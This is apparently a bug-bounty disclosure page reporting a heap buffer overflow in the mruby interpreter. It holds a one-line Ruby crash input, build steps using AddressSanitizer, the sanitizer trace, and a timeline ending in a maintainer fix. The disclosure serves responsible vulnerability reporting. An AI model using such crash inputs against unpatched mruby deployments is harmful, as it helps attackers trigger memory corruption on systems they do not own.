Heap-based Buffer Overflow in mruby/mruby

Valid

Reported on

Sep 17th 2021


Description

Heap buffer overflow in mruby

Proof of Concept

// poc.rb
 %= % *.clear ensure begin unless ?n >>= % ~( :regex or 1*1)

Compile mruby with asan

git clone https://github.com/mruby/mruby
cd mruby
LDFLAGS="-fsanitize=address" CFLAGS="-fsanitize=address -g" make
./bin/mruby poc.rb

Result

./bin/mruby ../poc.rb
=================================================================
==27659==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000002380 at pc 0x56423e05b919 bp 0x7fff54d89d30 sp 0x7fff54d89d20
READ of size 4 at 0x602000002380 thread T0
    #0 0x56423e05b918 in mrb_vm_exec /home/ruby/mruby/src/vm.c:1120
    #1 0x56423e05a164 in mrb_vm_run /home/ruby/mruby/src/vm.c:1032
    #2 0x56423e09b213 in mrb_top_run /home/ruby/mruby/src/vm.c:2964
    #3 0x56423e0c7ba6 in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6896
    #4 0x56423e0c7e94 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/parse.y:6939
    #5 0x56423dfc6092 in main /home/ruby/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347
    #6 0x7f81152cb0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #7 0x56423dfc342d in _start (/home/ruby/mruby/bin/mruby+0xbd42d)

0x602000002380 is located 0 bytes to the right of 16-byte region [0x602000002370,0x602000002380)
allocated by thread T0 here:
    #0 0x7f81156f2ffe in __interceptor_realloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dffe)
    #1 0x56423e04ff0e in mrb_default_allocf /home/ruby/mruby/src/state.c:68
    #2 0x56423e045e54 in mrb_realloc_simple /home/ruby/mruby/src/gc.c:226
    #3 0x56423e0d40d0 in codegen_realloc /home/ruby/mruby/mrbgems/mruby-compiler/core/codegen.c:164
    #4 0x56423e0ff662 in scope_finish /home/ruby/mruby/mrbgems/mruby-compiler/core/codegen.c:3564
    #5 0x56423e0efb02 in scope_body /home/ruby/mruby/mrbgems/mruby-compiler/core/codegen.c:1446
    #6 0x56423e0f56a6 in codegen /home/ruby/mruby/mrbgems/mruby-compiler/core/codegen.c:2300
    #7 0x56423e1009a6 in generate_code /home/ruby/mruby/mrbgems/mruby-compiler/core/codegen.c:3706
    #8 0x56423e100d7e in mrb_generate_code /home/ruby/mruby/mrbgems/mruby-compiler/core/codegen.c:3729
    #9 0x56423e0c76c1 in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6871
    #10 0x56423e0c7e94 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/parse.y:6939
    #11 0x56423dfc6092 in main /home/ruby/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347
    #12 0x7f81152cb0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ruby/mruby/src/vm.c:1120 in mrb_vm_exec
Shadow bytes around the buggy address:
  0x0c047fff8420: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 00 00
  0x0c047fff8430: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x0c047fff8440: fa fa fd fd fa fa 00 00 fa fa fd fd fa fa 00 fa
  0x0c047fff8450: fa fa 00 fa fa fa 00 02 fa fa fd fd fa fa 00 03
  0x0c047fff8460: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa 00 00
=>0x0c047fff8470:[fa]fa 00 fa fa fa 00 fa fa fa 02 fa fa fa fa fa
  0x0c047fff8480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff84a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff84b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff84c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==27659==ABORTING
Aborted
We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago
We have contacted a member of the mruby team and are waiting to hear back a year ago
mruby/mruby maintainer validated this vulnerability a year ago
felling good man has been awarded the disclosure bounty
The fix bounty is now up for grabs
mruby/mruby maintainer
a year ago

Fixed by a844f8965584c0737c436cfaf98bdccdf8d8b39e

Yukihiro "Matz" Matsumoto marked this as fixed with commit a844f8 a year ago
Yukihiro "Matz" Matsumoto has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation